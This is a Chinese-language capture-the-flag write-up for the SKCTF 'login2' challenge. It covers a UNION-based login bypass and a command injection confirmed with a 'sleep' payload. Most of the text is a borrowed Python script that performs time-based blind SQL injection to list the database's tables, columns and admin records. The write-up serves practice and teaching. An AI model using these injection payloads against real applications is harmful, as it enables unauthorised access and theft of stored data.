Day40
login2(SKCTF)
http://123.206.31.85:49165/
SKCTF{xxxxxxxxxxxxxxxxxxxxx}
hint:union,命令執行
本題要點:union繞過、命令執行、腳本編寫、base64編碼
打開頁面如下:
用bp嘗試抓包,打開代理
接着發送到repeater,go一下
看到一串base64密文
解密一下~
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password))
{
}
一段源碼,分析一下:
想要登錄成功,可以 通過輸入不存在用戶,用union select 構造出指定密碼的md5值。
構造payload
成功繞過
進入這樣的頁面~ 進程監控系統:
這里就沒有任何提示信息了emmmm.......
只好隨便亂輸實驗了.........
1.輸入123
2.輸入ls
3.輸入123&&4
發現除了進程信息之外其他的都沒有回顯,不知道是不是有過濾。
又更換命令的分解符號為|,&,&&均沒有反應......
有可能是命令被過濾了,也有可能是命令執行了,輸出過濾了....
基於盲注原理測試123;sleep 10發現返回延遲將近10秒,看來是輸出過濾,命令可以執行~
如果其他的shell命令沒有被過濾,那么此處就相當於getshell,可以執行更多操作;
本人菜雞,只好借鑒大佬的腳本~
import requests url = 'http://123.206.31.85:49165/login.php' #allString = '''1234567890~`!@#$%^&*()-_=+[]{};:'"|\,<.>/?qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' allString = '''1234567890-_,qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM''' database = '' flag = 1 #\'union select (if(length(database()!=0),sleep(10),1)),'202cb962ac59075b964b07152d234b70' 盲注數據庫,此處替換函數可以注其他你想要的信息 #\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注表 #\'union select (select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\'admin\') from %d for 1))=%d) then sleep(6) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注項 #\'union select (select case when (ascii(substr((select username from admin ) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#盲注內容但是里面啥都沒有 for i in range(1,100): for j in allString: #header = { #"X-Forwarded-For":"1'+(select case when (ascii(substr(database() from %d for 1))=%d) then sleep(3) else 0 end))#"%(i,ord(j)) #} data={ 'username':"dminhhjhj\'union select (select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))=%d) then sleep(4) else 0 end),\'202cb962ac59075b964b07152d234b70\'#"%(i,ord(j)),#替換#以前的內容就可以 'password':'123' } r = requests.post(url,data=data) t = r.elapsed.total_seconds() print(database+' '+'the time of '+j+' is '+str(t)) if t >= 4: database = database + j print('the '+str(i)+' place of database is '+j) break elif t < 4 and j == 'M': flag = 0 break if flag == 0 : break print('database:',database)
根據掃完結果,直接訪問.txt,得到flag:
完成!
參考資料:
https://blog.csdn.net/zazazrt/article/details/87655154
